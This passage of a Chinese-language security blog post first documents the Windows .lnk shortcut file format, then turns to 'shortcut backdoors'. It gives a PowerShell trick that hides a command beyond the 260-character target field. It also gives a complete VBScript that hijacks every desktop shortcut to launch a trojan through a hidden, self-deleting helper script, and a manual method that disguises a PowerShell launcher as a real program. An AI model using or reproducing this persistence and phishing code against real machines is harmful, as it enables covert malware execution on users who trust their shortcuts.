CommonNetworkRelativeLinkOffset(4 bytes): 32 位无符号整数,指定CommonNetworkRelativeLink字段的位置 。如果设置了CommonNetworkRelativeLinkAndPathSuffix标志,则该值是距 LinkInfo 结构开头的偏移量(以字节为单位);否则,该值必须为零
-
CommonPathSuffixOffset(4 bytes):一个 32 位无符号整数,指定CommonPathSuffix字段的位置 。该值是距 LinkInfo 结构开头的偏移量(以字节为单位)
-
LocalBasePathOffsetUnicode(4 bytes):可选的 32 位无符号整数,指定LocalBasePathUnicode字段的位置 。如果设置了VolumeIDAndLocalBasePath标志,则该值是距 LinkInfo 结构开头的偏移量(以字节为单位);否则,该值必须为零。仅当LinkInfoHeaderSize字段的值 大于或等于 0x00000024 时,才能出现此字段
-
CommonPathSuffixOffsetUnicode(4 bytes):可选的 32 位无符号整数,指定CommonPathSuffixUnicode字段的位置 。该值是距 LinkInfo 结构开头的偏移量(以字节为单位)。仅当LinkInfoHeaderSize字段的值 大于或等于 0x00000024 时,才能出现此字段
VolumeID:可选的VolumeID结构(第 2.3.1 节),指定创建链接时链接目标所在卷的信息。如果 设置了VolumeIDAndLocalBasePath标志,则存在此字段。
-
LocalBasePath:一个可选的、以 NULL 结尾的字符串,由系统默认代码页定义,用于通过将字符串附加到 CommonPathSuffix 字段来构造链接项或链接目标的完整路径。如果 设置了VolumeIDAndLocalBasePath标志,则存在此字段
-
CommonNetworkRelativeLink:可选的 CommonNetworkRelativeLink 结构(第 2.3.2 节),指定有关存储链接目标的网络位置的信息
-
CommonPathSuffix:一个以 NULL 结尾的字符串,由系统默认代码页定义,用于通过附加到LocalBasePath字段中的字符串来构造链接项或链接目标的完整路径
-
LocalBasePathUnicode:一个可选的、以 NULL 结尾的Unicode 字符串,用于通过将字符串附加到CommonPathSuffixUnicode字段中来构造链接项或链接目标的完整路径。仅当设置了VolumeIDAndLocalBasePath标志并且LinkInfoHeaderSize字段的值大于或等于 0x00000024 时,此字段才可以存在
-
CommonPathSuffixUnicode:一个可选的、以 NULL 结尾的 Unicode 字符串,用于通过附加到LocalBasePathUnicode 字段中的字符串来构造链接项或链接目标的完整路径。仅当LinkInfoHeaderSize字段的值 大于或等于 0x00000024 时,才能出现此字段
3.3.1 LinkInfoHeaderSize
value | Meaning |
---|---|
0x0000001C | 未指定可选字段的偏移量。 |
0x00000024 ≤value | 指定可选字段的偏移量。 |
3.3.2 LinkInfoFlags
Value | Description |
---|---|
A VolumeIDAndLocalBasePath | If set, the VolumeID and LocalBasePath fields are present, and their locations are specified by the values of the VolumeIDOffset and LocalBasePathOffset fields, respectively. If the value of the LinkInfoHeaderSize field is greater than or equal to 0x00000024, the LocalBasePathUnicode field is present, and its location is specified by the value of the LocalBasePathOffsetUnicode field.If not set, the VolumeID, LocalBasePath, and LocalBasePathUnicode fields are not present, and the values of the VolumeIDOffset and LocalBasePathOffset fields are zero. If the value of the LinkInfoHeaderSize field is greater than or equal to 0x00000024, the value of the LocalBasePathOffsetUnicode field is zero. |
B CommonNetworkRelativeLinkAndPathSuffix | If set, the CommonNetworkRelativeLink field is present, and its location is specified by the value of the CommonNetworkRelativeLinkOffset field.If not set, the CommonNetworkRelativeLink field is not present, and the value of the CommonNetworkRelativeLinkOffset field is zero. |
3.3.3 VolumeID
VolumeID 结构指定有关创建链接 时链接目标所在卷的信息。如果在原始位置找不到该文件,此信息对于解析链接很有用
VolumeID是由以下部分组成:
-
VolumeIDSize(4 bytes):一个 32 位无符号整数,指定此结构的大小(以字节为单位)。该值必须大于 0x00000010。该结构中指定的所有偏移量必须小于该值,并且该结构中包含的所有字符串必须适合该大小定义的范围
-
DriveType(4 bytes):一个 32 位无符号整数,指定存储链接目标的驱动器类型
-
DriveSerialNumber(4 bytes):一个 32 位无符号整数,指定存储链接目标的卷的驱动器序列号
-
VolumeLabelOffset(4 bytes):一个 32 位无符号整数,指定包含存储链接目标的驱动器的卷标的字符串的位置。该值是从 VolumeID 结构的开头到 NULL 终止字符串的偏移量(以字节为单位),由系统默认代码页定义。卷标字符串位于该结构的数据字段中
如果该字段的值为 0x00000014,则必须忽略它,并且必须使用VolumeLabelOffsetUnicode字段的值来定位卷标字符串。
-
VolumeLabelOffsetUnicode(4 bytes):可选的 32 位无符号整数,指定包含存储链接目标的驱动器的卷标的字符串的位置。该值是从 VolumeID 结构的开头到 NULL 终止的Unicode 字符字符串的偏移量(以字节为单位)。卷标字符串位于该结构的数据字段中
如果VolumeLabelOffset字段的值不是 0x00000014,则该字段不得存在;相反, VolumeLabelOffset字段的值 必须用于定位卷标字符串
-
data:数据缓冲区,其中包含驱动器的卷标,作为由系统默认代码页或 Unicode 字符定义的字符串,如前面的字段所指定
3.3.3.1 DriveType
Value | Meaning |
---|---|
DRIVE_UNKNOWN0x00000000 | The drive type cannot be determined. |
DRIVE_NO_ROOT_DIR0x00000001 | The root path is invalid; for example, there is no volume mounted at the path. |
DRIVE_REMOVABLE0x00000002 | The drive has removable media, such as a floppy drive, thumb drive, or flash card reader. |
DRIVE_FIXED0x00000003 | The drive has fixed media, such as a hard drive or flash drive. |
DRIVE_REMOTE0x00000004 | The drive is a remote (network) drive. |
DRIVE_CDROM0x00000005 | The drive is a CD-ROM drive. |
DRIVE_RAMDISK0x00000006 | The drive is a RAM disk. |
3.4 StringData
StringData 是指传达用户界面和路径标识信息的一组结构
3.4.1 StringData 类型
StringData 大致分为以下几个类型:
- NAME_STRING :一个可选结构,指定显示给最终用户的快捷方式的描述,以识别shell 链接 的用途。如果设置了HasName标志,则该结构必须存在
- RELATIVE_PATH :一个可选结构,指定链接目标相对于包含 shell 链接的文件的位置。指定后,解析链接时应该使用该字符串。如果设置了HasRelativePath标志,则该结构必须存在
- WORKING_DIR:一个可选结构,指定激活链接目标时要使用的工作目录的文件系统路径。如果设置了HasWorkingDir标志,则该结构必须存在
- COMMAND_LINE_ARGUMENTS:一个可选结构,用于存储激活链接目标时指定的命令行参数。如果设置了HasArguments标志,则该结构必须存在
- ICON_LOCATION:一个可选结构,指定在图标视图中显示 shell 链接项时要使用的图标的位置。如果设置了HasIconLocation标志,则该结构必须存在
3.4.2 String Data 结构
每个String Data结构如下:
- CountCharacters(2 bytes):一个 16 位无符号整数,指定由系统默认代码页定义的字符数或在字符串字段中找到的Unicode字符数。零值指定空字符串。
- String:由系统默认代码页定义的可选字符集,或长度由CountCharacters字段指定的 Unicode 字符串。该字符串不得以 NULL 结尾。
上图中CountCharacters为0x22,说明总共存在0x22*2=0x44个字节的数据
3.5 sExtraData
ExtraData 是指传达有关链接目标的附加信息的一组结构。这些可选结构可以出现在附加到基本 Shell 链接二进制文件格式的额外数据部分中
这里便不再详细展开了,要看具体信息,请参考微软官方文档
3.6 辅助工具推荐
https://ericzimmerman.github.io/#!index.md
LECmd.exe -f [:link file name]
4. Lnk 与 link 的区别
在 Windows 中,使用 mklink
创建的软链接(符号链接)与快捷方式(.lnk 文件)是不同的。mklink
创建的是一个指向文件或目录的系统级符号链接,而快捷方式是通过 Windows Shell 创建的,包含更多元数据的链接。
4.1 快捷方式(.lnk 文件)
- 创建:通过 Windows 资源管理器或程序右键菜单创建
- 特性:实际上是一个小的桌面入口对象(DEO),它包含目标文件或目录的位置信息
- 存储:作为文件存储在文件系统中,可以移动到其他计算机
- 跨文件系统:可以跨不同的文件系统和卷
- 显示:通常在资源管理器中以不同图标显示,并带有一个小箭头标志
4.2 软链接(符号链接,symlink)
- 创建:使用命令行工具(如
mklink
)创建 - 特性:是一个轻量级的文件系统对象,它包含目标路径的文本表示
- 存储:不包含数据,只包含一个指向另一个文件或目录的路径
- 跨文件系统:可以跨不同的文件系统和卷(Windows 允许创建指向不同驱动器的符号链接)
- 显示:在资源管理器中通常以普通文件或文件夹的形式显示,没有特殊标记
4.3 硬链接(hard link)
- 创建:使用命令行工具(如
fsutil
或link
)创建 - 特性:是一个指向文件数据的直接引用,与原始文件共享数据块
- 存储:硬链接直接指向文件的数据,不是独立的文件
- 跨文件系统:不能跨不同的文件系统或卷,必须在同一个卷上
- 显示:在资源管理器中以普通文件或文件夹的形式显示,没有特殊标记
第三部分 windows 快捷方式后门
0. windows快捷方式后门利用方式
- 为恶意进程创建快捷方式,并将其加入启动程序
- 钓鱼,利用当前用户现有的快捷方式进行迷惑,达到既能开启原程序,又能执行恶意程序的效果
1. 快捷方式奇淫巧计
1.1 更改图标
1.1.1 文件属性-更改图标
1.1.2 文件结构-String Data (ICON LOCATION)
注意7:修改完String Data中ICON LOCATION结构体的String和CountCharacters后需要去查看sShellLinkHeader的IconIndex属性是否置为一个正确的数字,正确的数指的是IconIdex必须小于当前lnk指向的程序中所有的icon图集总数
比如存在程序index.exe,他的程序中有三个Icon,那么我们可以将IconIdex分别设置为0、1或者2,那么就可以显示出正确的所指向的Icon,不然将会显示默认的空白文件的Icon
注意8:通常情况下我们会将IconIndex置为0,因为对于一个程序来说(例如index.exe),那么index.exe,0
就是指向的是当前程序的icon图标
1.2 更改目标
1.2.1 文件属性-目标
1.2.2 文件结构-sExtData(sEnvironmentVariableDataBlock)
注意9:需要同时修改sExtData中sEnvironmentVariableDataBlock结构体的TargetANSI和TargetUnicode
1.3 字符长度欺骗
对于 Windows 快捷方式,点击右键属性,其中有一个"目标"选项,指向的是我们需要运行的程序的路径。目标的最大长度只有260个字符。任何超过这个长度的东西都是不可见的。但是,命令行参数的最大长度是4096个字符,我们可以在执行的命令行中插入空格,超过目标字段展示的260字符的长度,之后则无法在上面的窗口中看到整个命令。
$file = Get-Content "C:\Users\Administrator\Desktop\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\Administrator\Desktop\test.txt.lnk")
$Shortcut.TargetPath = "%SystemRoot%/system32/cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%/System32/Shell32.dll,21"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()
查看新生成的test.exe.lnk,我们可以发现在他的目标处,已经显示空白了
2. 创建 windows 快捷方式后门
2.1 方法一: 通过新建隐藏后门 VBScript 脚本
查找特定文件夹下是否存在.lnk
文件,然后更改其指向的目标文件,这种方法需要通过创建一个vbs文件来进行完成,这个vbs文件会执行原始文件和我们的木马文件。
set WshShell = WScript.CreateObject("WScript.Shell" )
Set fso = CreateObject("Scripting.FileSystemObject")
Const FILE_ATTRIBUTE_NORMAL = 0
Const FILE_ATTRIBUTE_READONLY = 1
Const FILE_ATTRIBUTE_HIDDEN = 2
Const FILE_ATTRIBUTE_SYSTEM = 4
Const FILE_ATTRIBUTE_DIRECTORY = 16
Const FILENAME_MIN_LENGTH = 1
Const FILENAME_MAX_LENGTH = 12
Const lnkSuffix = "lnk"
Const hookScriptSuffix = "vbs"
' GetFileSuffixByIndex
' 根据文件路径和索引,获取对应的后缀
Function GetFileSuffixByIndex(filePath, suffix_index)
Set file = fso.GetFile(filePath)
fileName = file.Name
suffix_arr = Split(filename, ".")
result = ""
If UBound(suffix_arr) >= suffix_index Then
result = suffix_arr(UBound(suffix_arr) - suffix_index + 1)
End If
Set file = Nothing
GetFileSuffixByIndex = result
End Function
' IsFileSuffixExpected
' 判断文件后缀是否是预期的文件后缀
Function IsFileSuffixExpected(fileSuffix, expectedSuffix)
If LCase(fileSuffix)= LCase(expectedSuffix) Then
IsFileSuffixExpected = 1
Else
IsFileSuffixExpected = 0
End If
End Function
' GetRandomBetween
' 生成一个 [a, b) 区间内的随机数
Function GetRandomBetween(a, b)
Dim seed
Randomize Timer
Dim randomValue
' Rnd 生成一个 [0, 1) 区间内的随机数
randomValue = Int(((b - a) * Rnd) + a)
GetRandomBetween = randomValue
End Function
' GetRandomAlphanumeric
' 生成一个字符数字集的随机数
Function GetRandomAlphanumeric()
Dim charSet, randomChar, randomIndex
charSet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
randomIndex = GetRandomBetween(1, Len(charSet) + 1)
randomChar = Mid(charSet, randomIndex, 1)
GetRandomAlphanumeric = randomChar
End Function
' GetRandomFileName
' 生成一个随机的文件名
Function GetRandomFileName()
result = ""
result_length = GetRandomBetween(FILENAME_MIN_LENGTH, FILENAME_MAX_LENGTH + 1)
For i = 1 to result_length
result = result & GetRandomAlphanumeric()
next
GetRandomFileName = result
End Function
' IsEndWithBackSlash
' 判断当前文件夹是否是以标准的分隔符"\"结尾
Function IsEndWithBackSlash(path)
Dim stringLength
stringLength = Len(path)
if stringLength <= 1 Then
IsEndWithBackSlash = 0
Else
lastChar = Mid(path, stringLength, 1)
if lastChar = "\" Then
IsEndWithBackSlash = 1
Else
IsEndWithBackSlash = 0
End if
End if
End Function
' GetStandardFolderName
' 获取以标准的分隔符"\"结尾的文件夹名称
Function GetStandardFolderName(path)
if IsEndWithBackSlash(path) = 1 Then
GetStandardFolderName = path
Else
GetStandardFolderName = path & "\"
End if
End Function
' TraverseFolder
' 遍历当前文件夹中的文件/子文件夹
Function TraverseFolder(folder)
Dim subfolder
On Error Resume Next
' 遍历当前文件夹中的文件
For Each file In folder.Files
If Err.Number = 0 And file.Size > 0 Then
access_file = file.Path
If IsFileSuffixExpected(GetFileSuffixByIndex(file, 1), lnkSuffix) = 1 Then
call HookLnk(access_file, folder)
End If
end if
Next
' 遍历当前文件夹中的子文件夹
For Each subfolder In folder.SubFolders
TraverseFolder subfolder ' 递归调用遍历子文件夹
Next
TraverseFolder = 1
End Function
Function HookLnk(filename, folder)
HasBeenHacked = 0
tmp_filename = GetRandomFileName()
newTarget = GetStandardFolderName(folder) & tmp_filename & "." & hookScriptSuffix
set oShellLink = WshShell.CreateShortcut(filename)
If fso.FileExists(oShellLink) Then
' 判断快捷方式是否已经被劫持
origTarget = oShellLink.TargetPath
HasBeenHacked = IsFileSuffixExpected(GetFileSuffixByIndex(origTarget, 1), hookScriptSuffix)
origArgs = oShellLink.Arguments
'origIcon = oShellLink.IconLocation
origIcon = origTarget
origDir = oShellLink.WorkingDirectory
' 创建后门中间文件(满足条件: 后门不存在 且 Link 尚未被劫持)
If fso.FileExists(newTarget) Then
oShellLink.TargetPath = newTarget
Else
If HasBeenHacked = 0 Then
' 设置hook脚本不可见
Set File = FSO.CreateTextFile(newTarget,True)
special_file_split = """"""
File.Write "Set oShell = WScript.CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")" & vbCrLf
File.Write "oShell.Run " & special_file_split & chr(34) & implant & chr(34) & special_file_split & vbCrLf
File.Write "oShell.Run " & special_file_split & chr(34) & origTarget & " " & origArgs & chr(34) & special_file_split & vbCrLf
File.Close
oShellLink.TargetPath = newTarget
Set SetFileObject = FSO.GetFile(newTarget)
SetFileObject.Attributes = FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_READONLY
Set SetFileObject = Nothing
End If
End If
' 如果文件并没有被Hook,那么重定向快捷方式指向路径
If HasBeenHacked = 0 Then
oShellLink.IconLocation = origTarget & ", 0"
End If
oShellLink.WorkingDirectory = origDir
oShellLink.WindowStyle = 7
oShellLink.Save
HookLnk = 1
End If
HookLnk = 0
End Function
On Error Resume Next
scriptPath = WScript.ScriptFullName
' implant需要修改成自己的木马路径
implant = "C:\Users\Administrator\Desktop\test.exe"
' curUserDesktop 需要修改成需要修改lnk的文件夹
curUser = WshShell.ExpandEnvironmentStrings("%USERPROFILE%")
curUserDesktop = GetStandardFolderName(curUser & "\Desktop")
call TraverseFolder(fso.GetFolder(curUserDesktop))
' 删除当前脚本
If fso.FileExists(scriptPath) Then
fso.DeleteFile scriptPath, True
End If
Set fso = Nothing
set WshShell = Nothing
效果如下:
在没有被劫持的情况下一切都正常
lnk指向被劫持后,会生成一个随机的中间文件用于隐藏命令执行
2.2 方法二: 手动创建Lnk后门
2.2.1 寻找伪装文件,创建桌面快捷方式
首先需要在windows上找一个伪装的参考对象(这里我们尝试将Winhex.exe作为伪装的参考),右键制作桌面快捷方式
快捷方式信息中,“目标”对应的exe文件,起始位置对应的目标文件夹,记录其中目标exe路径:
C:\Users\richard\Desktop\Tools\WinHex15.1SR-8\WinHex.exe
2.2.2 通过Powershell调用加载附加程序
这里通过powershell运行该快捷方式,并添加额外的calc.exe
启动项
powershell.exe -c "invoke-item C:\Users\richard\Desktop\Tools\WinHex15.1SR-8\WinHex.exe; invoke-item c:\windows\system32\calc.exe"
保存修改后发现快捷方式图标变成了powershell的图标
打开快捷方式属性,修改图标
2.2.3 修改运行方式隐藏运行窗口
powershell运行过程中会如同cmd一样存在一个后台的运行窗口,我们双击快捷方式时会有一闪而过的窗口,这时候可以调整属性中的运行方式为"最小化"从而隐藏窗口。
双击运行,成功执行原始文件和附加文件。
参考文献
[1] https://learn.microsoft.com/zh-cn/windows/win32/shell/links
[2] https://baijiahao.baidu.com/s?id=1770724291436944734&wfr=spider&for=pc
[3] https://blog.csdn.net/Giyomwd/article/details/104143426
[4] https://blog.iyatt.com/?p=12695
[5] https://mp.weixin.qq.com/s/G3c-7JATD2VSHMxHc0lY4A
[6] https://mp.weixin.qq.com/s/ew_OBGgJax4ab7OwtoyAuA
[7] https://bbs.kanxue.com/thread-260953.htm
[8] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/ae350202-3ba9-4790-9e9e-98935f4ee5af
[9] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c3376b21-0931-45e4-b2fc-a48ac0e60d15
[10] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/8cd21240-1b5d-43e6-adc4-38cf14e30cea
[11] https://www.cnblogs.com/zw1sh/p/17595381.html
[12] http://www.vxjump.net/files/security_research/lnk_inf.txt